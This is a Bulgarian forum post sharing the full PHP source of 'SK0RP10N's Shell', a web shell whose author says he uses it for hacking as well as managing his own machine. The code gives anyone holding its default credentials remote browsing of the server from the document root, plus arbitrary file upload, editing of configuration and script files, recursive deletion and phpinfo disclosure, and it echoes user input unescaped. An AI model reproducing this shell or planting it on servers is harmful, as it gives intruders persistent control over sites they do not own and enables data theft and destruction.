Скрипт за управление на рс-то

r0073x

Registered
Код:
<?php
header("Content-type: text/html; charset=Windows-1251");
#######################################################
#                  SK0RP10N's Shell                   #  
####################################################### // правил съм го за web shell, но може да се ползва и с други цели, освен разруха (да речем аз го ползвам освен за хакване, да си управлявам и собственото рс)
$info = $_POST['info'];
if(!$info){
echo "<body bgcolor=black>";
?>
<table border=0 cellspacing=0 cellpadding=0 align=center bgcolor=black><tr><td>
<pre><font color="maroon">
                            ______
                         .-"      "-.
                        /            \
                       |              |
                       |,  .-.  .-.  ,|
                       | )(_o/  \o_)( |
                       |/     /\     \|
      (@_              (_     ^^     _)
 _     ) \</font><font color="#808080">______________</font><font color="maroon">\</font><font color="#808080">__</font><font color="maroon">|IIIIII|</font><font color="#808080">__</font><font color="maroon">/</font><font color="#808080">_______________________
</font><font color="maroon">(_)</font><font color="#808080">@8@8</font><font color="maroon">{}</font><font color="#808080"><_______________</font><font color="maroon">|-\IIIIII/-|</font><font color="#808080">________________________></font><font color="maroon">
       )_/               \          /
      (@                  `--------`
</font></pre></td></tr></table>
<?php
}
$secure = "1"; // от тук, ако го направите на 0, няма да иска име и парола
if("$secure" == "1"){
$username = "username"; // ако сте го оставили на 1, т.е. да иска име и парола, желателно е да ги промените от тук
$password = "password";
$user = $_POST['user'];
$pass = $_POST['pass'];
if("$user" !== "$username" or "$pass" !== "$password"){
die("<form method=post>
<table border=1 cellspacing=0 cellpadding=0 width=500 height=200 align=center>
<tr>
<td align=center>
<b><font color=maroon>
Зона с ограничен достъп<hr>
Потребител:<br><input type=text name=user style='background:black;color:maroon;font-weight:bold;'><p>
Парола:<br><input type=password name=pass style='background:black;color:maroon;font-weight:bold;'><p>
</font></b>
<input type=submit value=Вход style='background:black;color:maroon;font-weight:bold;'><p><font color=maroon>
</form>
</td>
</tr>
</table></form>");
}
}
function empty_folder($folder, $debug = false){

if ($debug) {
}

$d = dir($folder);

while (false !== ($entry = $d->read())) {

$isdir = is_dir($folder."/".$entry);

if (!$isdir and $entry!="." and $entry!="..") {

unlink($folder."/".$entry);

} elseif ($isdir and $entry!="." and $entry!="..") {

empty_folder($folder."/".$entry,$debug);

rmdir($folder."/".$entry);

}
}
$d->close();
}
?>
<?php
$info = $_POST['info'];
if($info){
echo "<form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=submit value='Към шела'></form><p>";
phpinfo();
exit;
}
$upload = $_POST['upload'];
if($upload){
if($_POST['uploaded']) {
@move_uploaded_file($_FILES['file']["tmp_name"], "$upload" . $_FILES['file']['name']);
$file = $_FILES['file']['name'];
}
else
{
?>
<form method="post" enctype="multipart/form-data" name="form1" id="form1"><br />
<input type=hidden name=uploaded value=uploaded>
<label>
<input type="file" name="file">
</label>
<br />
<label>
<input type="submit" name="Submit" value="Качи" style='background:black;color:maroon;font-weight:bold;'>
<?
echo "<input type=hidden value='$upload' name=upload><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden name=dir value='$upload'>";
?>
</label>
</form>



<?php
exit;
}
}
$makeddir = $_POST['makeddir'];
$dirname = $_POST['dirname'];
if($makeddir){
if(is_dir("$makeddir$dirname")) die("<b><font color=maroon>Вече има такава папка</font></b><p><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=submit value='Към шела' style='background:black;color:maroon;font-weight:bold;'></form>");
mkdir("$makeddir$dirname");
}
$mkdir = $_POST['mkdir'];
if($mkdir) die("<form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden name=makeddir value='$mkdir'><input type=hidden name=dir value='$mkdir'><b><font color=maroon>Име на папката:</font></b><br><input type=text name=dirname style='background:black;color:maroon;font-weight:bold;'><p><input type=submit value=Създай style='background:black;color:maroon;font-weight:bold;'></form>");
$delete = $_POST['delete'];
if($delete){
if(!is_dir("$delete") and !file_exists("$delete")) die("<b><font color=maroon>Файлът не съществува</font></b><p><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=submit value='Към шела' style='background:black;color:maroon;font-weight:bold;'></form>");
if(!is_dir("$delete")) @unlink("$delete") or die("<b><font color=maroon>Нямам нужните права</font></b><p><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=submit value='Към шела' style='background:black;color:maroon;font-weight:bold;'></form>");
if(is_dir("$delete")){
@empty_folder($delete,true);
@rmdir("$delete");
if(is_dir("$delete")) die("<b><font color=maroon>Нямам нужните права</font></b><p><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=submit value='Към шела' style='background:black;color:maroon;font-weight:bold;'></form>");
}
}
$editedfile = $_POST['editedfile'];
$text=$HTTP_POST_VARS['content'];
if($editedfile){
$content = htmlspecialchars_decode("$content");
$content = stripslashes("$content");
file_put_contents("$editedfile","$content");
die("<b><font color=maroon>Промяната бе успешна</font></b><p><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=submit value='Към шела' style='background:black;color:maroon;font-weight:bold;'></form>");
}
$editfile = $_POST['editfile'];
if($editfile){
if(!file_exists("$editfile")) die("<b><font color=maroon>Няма такъв файл</font></b>");
?>
<script>
function scroll(n_textarea)
{
if (n_textarea == 1)
{
document.getElementById('line').scrollTop = document.getElementById('text').scrollTop;
}
else
{
document.getElementById('text').scrollTop = document.getElementById('line').scrollTop;
}
}
</script>
<?php
@$content = file_get_contents("$editfile") or die("<b><font color=maroon>Нямам нужните права</font></b><p><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=submit value='Към шела' style='background:black;color:maroon;font-weight:bold;'></form>");
$newline = substr_count($content, '
');
$content = htmlspecialchars("$content");
echo "<form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'>";
echo "<table border=0 cellspacing=0 cellpadding=0><tr><td><textarea cols=5 id=line onScroll=\"scroll(2)\" rows=50 readonly style='background:black;color:maroon;font-weight:bold;'>";
do
{
$count = $count + 1;
echo "$count\n";
}
while("$count" <= "$newline");
echo "</textarea></td><td><textarea input type=text name=content cols=1000 rows=50 id=text onScroll=\"scroll(1)\" style='background:black;color:maroon;font-weight:bold;'>$content</textarea></td></tr></table><input type=hidden name=editedfile value='$editfile'><p><input type=submit value=Редактирай style='background:black;color:maroon;font-weight:bold;'></form>";
exit;
}
$slash = "/";
$dir = $_POST['dir'];
if(!$dir or !is_dir("$dir")) $dir = $_SERVER['DOCUMENT_ROOT']."/";
$last = $dir[strlen($dir)-1];
if("$last" !== "/") $dir = "$dir/";
if("$dir" !== "/"){
$slashcount = substr_count($dir,$slash);
if("$slashcount" !== "2"){
$explode = explode("/","$dir");
$partcount = count($explode) - 3;
do
{
$count = $count + 1;
$pardir = "$pardir$explode[$count]/";
}
while("$count" < "$partcount");
}
$pardir = "/$pardir";
}
else $pardir = "/";
@$dh = opendir($dir) or die("<b><font color=maroon>Нямам нужните права</font></b><p><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=submit value='Към шела' style='background:black;color:maroon;font-weight:bold;'></form>");
echo "<form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=text name=dir value='$dir' size=100 style='background:black;color:maroon;font-weight:bold;'> <input type=submit value=Отвори style='background:black;color:maroon;font-weight:bold;'></form><p>";
echo "<table border=0 cellspacing=0 cellpadding=0><tr>";
if("$dir" !== "/") echo "<td align=center><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden name=dir value='$pardir'><input type=submit value='Предходна папка' style='background:black;color:maroon;font-weight:bold;'></form></td>";
echo "<td align=center><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden name=mkdir value='$dir'><input type=submit value='Създай папка' style='background:black;color:maroon;font-weight:bold;'></form></td><td align=center><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden name=upload value='$dir'><input type=submit value='Качи файл' style='background:black;color:maroon;font-weight:bold;'></form></td><td align=center><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden name=info value='info'><input type=submit value=PHPinfo style='background:black;color:maroon;font-weight:bold;'></form></td></tr></table><p>";
echo "<table border=1 cellspacing=0 cellpadding=0 width=100%><tr><td align=center><b><font color=maroon>Име</font></b></td><td align=center><b><font color=maroon>Редактирай</font></b></td><td align=center><b><font color=maroon>Изтрий</font></b></td></tr>";
while($file = readdir($dh))
{
if($file != "." and $file != "..")
{
if(is_dir("$dir$file")) echo "<tr><td align=center><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden name=dir value='$dir$file/'><input type=submit value='$file' style='background:black;color:maroon;font-weight:bold;'></form></td><td align=center><b><font color=maroon>[x]</font></b></td><td align=center><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden value='$dir$file/' name=delete><input type=hidden name=dir value='$dir'><input type=submit value=Изтрий style='background:black;color:maroon;font-weight:bold;'></form></td></tr>";
else{
echo "<tr><td align=center><b><font color=maroon>$file</font></b></td>";
$array = array("txt","inc","ini","html","htm","php","asp","conf","cfg","js","dat","pal","pl","log","sh");
$ext = end(explode(".","$file"));
echo "<td align=center>";
if(in_array($ext,$array)) echo "<form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden name=editfile value='$dir$file'><input type=submit value=Редактирай style='background:black;color:maroon;font-weight:bold;'></form>";
else echo "<b><font color=maroon>[x]</font></b>";
echo "<td align=center><form method=post><input type=hidden name=user value='$user'><input type=hidden name=pass value='$pass'><input type=hidden value='$dir$file' name=delete><input type=hidden name=dir value='$dir'><input type=submit value=Изтрий style='background:black;color:maroon;font-weight:bold;'></form></td>";
echo "</td></tr>";
}
}
}
?>
</table>
</form>
Скриптът всъщност е http://web-tourist.net/forum/viewtopic.php?t=71115 събрано всичко в едно :)
 

Back
Горе